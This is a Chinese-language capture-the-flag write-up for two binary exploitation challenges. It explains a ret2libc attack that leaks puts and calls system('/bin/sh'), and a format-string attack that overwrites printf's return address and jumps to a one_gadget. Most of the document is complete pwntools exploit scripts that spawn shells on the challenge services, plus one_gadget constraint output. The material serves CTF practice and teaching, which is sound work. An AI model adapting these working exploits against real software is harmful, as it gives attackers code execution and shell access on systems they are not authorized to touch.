rdi

泄露libc版本,程序中没有pop rdi;ret,想办法给rdi赋值

利用

1
2
cyclic 200 #生成规律字串长度为200
cyclic -l 'rdi出现的字串' #计算rdi左边字串的长度

得到输入56

即输入56个填充数据,再往下就填充到rdi

该指令可计算offset,不过rdi改成rbp(看ida更方便,用指令更准确)

给rdi填充后再覆盖rbp就进行ret2libc

注意!64位system前要ret一下,否则system会在利用xmm寄存器这步发生错误

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64',os='linux')

#r=process('./rdi')
r=remote('127.0.0.1',41311)

e=ELF('./rdi')
libc=ELF('./libc.so.6')
puts_got=e.got['puts']#18
puts_plt=e.plt['puts']#64
main=e.symbols['main']#85

ret=0x40101a
print(hex(puts_got))
print(hex(puts_plt))
print(hex(main))
offset=56
payload=offset*b'a'+p64(puts_got)+b'aaaaaaaa'+p64(puts_plt)+p64(main)
#payload2=b'a'
#payload=72*b'a'
r.recvuntil('rdi?\n')
gdb.attach(r)
r.sendline(payload)

pause()
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
#print(puts_addr)
#libc=LibcSearcher('gets',puts_addr)
offset1=puts_addr-libc.symbols['puts']
binsh=offset1+next(libc.search(b'/bin/sh'))
system=offset1+libc.symbols['system']
exit=offset1+libc.symbols['exit']
print(hex(binsh))
print(hex(system))
payload2=(56)*b'a'+p64(binsh)+b'aaaaaaaa'+p64(ret)+p64(system)+p64(exit)
r.sendline(payload2)


#pause()


r.interactive()

ffffff(ez_fmt)

格式化字符串漏洞,修改printf的返回地址到想要的地方

程序中给了栈地址,接收后可用于计算偏移量来修改printf的返回地址

把printf的栈指针写道栈中这样就会出现

1
2
3
4
0x0001 -> return_addr
0x0002 -> rsp
0x0003 -> 0x0001->return_addr
0x0004 -> xxx

这样利用%n对0x0003进行操作即可修改0x0001的内容,%n只对指针所指向的值进行修改

%hn一次就修改后四位数,%hhn一次就修改后两位

第一次用%s读出got,泄露libc

由于限制0x30给字节,所以要利用onegadget,否则空间不够用

onegadget会出现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

'''
0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
rbp == NULL || (u16)[rbp] == NULL

0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''

利用onegadget可直接获得shell记得满足条件

第一个地址加上泄露libc所得到的偏移量即可让程序调用

constraints表示要满足的条件 ‘’||‘’和c中的或运算一样

最后让程序返回地址返回到execve即可

利用csu中的pop可以弹出垃圾数据,控制好弹出的数量,让其最终返回到execve

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64',os='linux')

#r=process('./ez_fmt')
r=remote('127.0.0.1',43579)
e=ELF('./ez_fmt')
libc=ELF('./libc6_2.31-0ubuntu9.14_amd64.so')
ret=0x40101a
read=0x40121b
rdi=0x4012d3
csu1=0x4012c6#198
csu2=0x4012b0#176
fini_array=0x403dc0
got=e.got['read']
print(hex(got))
r.recvuntil('gift for you ')
base=r.recv(14)
base_addr=int(base,16)
print(hex(base_addr)) #buf addr
print(hex(base_addr-8)) #printf return addr

num='5'

payload=b'%'+str(num).encode()+b'c%8$hhn%10$s'
payload=payload.ljust(16,b'\x00')
payload+=p64(base_addr-0x8)
payload+=p64(1)+p64(got) #14=rdx r15=rsi

gdb.attach(r)
r.send(payload)#1
#r.recv(num)

r.recv(6)
r.recv(5)
addr=u64(r.recv(6).ljust(8,b'\x00'))
print(1)
print(hex(addr))#7d0
#libc=LibcSearcher('read',addr)
#offset=addr-libc.dump('read')
offset=addr-libc.symbols['read']
#print(hex(libc.symbols['system']))
binsh=offset+next(libc.search(b'/bin/sh'))
system=offset+libc.symbols['system']
print(hex(binsh))#678
print(hex(system))#d70


pause()

one_gadget=offset+0xe3b01
print(hex(one_gadget))


num='204'

payload=b'%'+str(num).encode()+b'c%8$hhn'
payload=payload.ljust(16,b'a')
payload+=p64(base_addr-0x8)+p64(0)
payload+=p64(one_gadget)
payload+=p64(csu2)

r.send(payload)
r.interactive()